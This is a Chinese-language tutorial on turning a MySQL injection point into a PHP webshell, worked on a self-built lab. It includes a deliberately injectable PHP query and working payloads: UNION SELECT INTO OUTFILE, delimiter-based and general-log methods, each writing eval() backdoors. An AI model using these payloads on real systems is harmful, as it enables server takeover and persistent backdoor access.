在工具化日益成熟的今天,手工注入的能力越來越被忽視了。當你掌握了一款工具的使用時,應更深入的去了解工具幫你做了什么,把工具所產生的影響控制在自己可控的范圍內。
比如:當面對一個MySQL
注入點,通過使用SQLmap
的--os-shell
命令選項,便可輕松一鍵獲取Webshell
,但是非正常退出時,便會在網站目錄中存留SQLmap
臨時上傳的Webshell
文件。
一個MySQL
注入點寫入Webshell
,需要滿足哪些條件呢?簡單來說,需要了解secure_file_priv是否支持數據導出、還有當前數據庫用戶權限,當然,root用戶數據庫的全部權限,但寫入Webshell 並不需要一定是root
用戶。
接下來,本文將通過構造一個注入點,分享幾種Webshell
寫入的技巧。
0x01 構造一個注入點
1、在默認數據庫test
中創建測試表admin和測試數據,新建test用戶授予FILE權限。
create user 'test'@'localhost' identified by '123456';
grant file on *.* to 'test'@'localhost';
2、使用test用戶連接數據庫。
<?php $con = mysql_connect("localhost","test","123456"); mysql_select_db("test", $con); $id = $_REQUEST[ 'id' ]; $query = "SELECT * FROM test.admin WHERE id = $id "; $result = mysql_query($query); ......
0x02 寫入WebShell的幾種方式
1、利用Union select 寫入
這是最常見的寫入方式,union
跟select into outfile
,將一句話寫入evil.php
,僅適用於聯合注入。
具體權限要求:secure_file_priv
支持web
目錄文件導出、數據庫用戶File權限、獲取物理路徑。
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php' ?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
2、利用分隔符寫入
當Mysql
注入點為盲注或報錯,Union select
寫入的方式顯然是利用不了的,那么可以通過分隔符寫入。SQLMAP
的 --os-shell
命令,所采用的就是一下這種方式。
具體權限要求:secure_file_priv
支持web
目錄文件導出、數據庫用戶File
權限、獲取物理路徑。
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --
同樣的技巧,一共有四種形式:
?id=1 INTO OUTFILE '物理路徑' lines terminated by (一句話hex編碼)# ?id=1 INTO OUTFILE '物理路徑' fields terminated by (一句話hex編碼)# ?id=1 INTO OUTFILE '物理路徑' columns terminated by (一句話hex編碼)# ?id=1 INTO OUTFILE '物理路徑' lines starting by (一句話hex編碼)#
3、利用log寫入
新版本的MySQL
設置了導出文件的路徑,很難在獲取Webshell
過程中去修改配置文件,無法通過使用select into outfile
來寫入一句話。這時,我們可以通過修改MySQL
的log
文件來獲取Webshell
。
具體權限要求:數據庫用戶需具備Super
和File
服務器權限、獲取物理路徑。
show variables like '%general%'; #查看配置 set global general_log = on; #開啟general log模式 set global general_log_file = 'E:/study/WWW/evil.php'; #設置日志目錄為shell地址 select '<?php eval($_GET[g]);?>' #寫入shell set global general_log=off; #關閉general log模式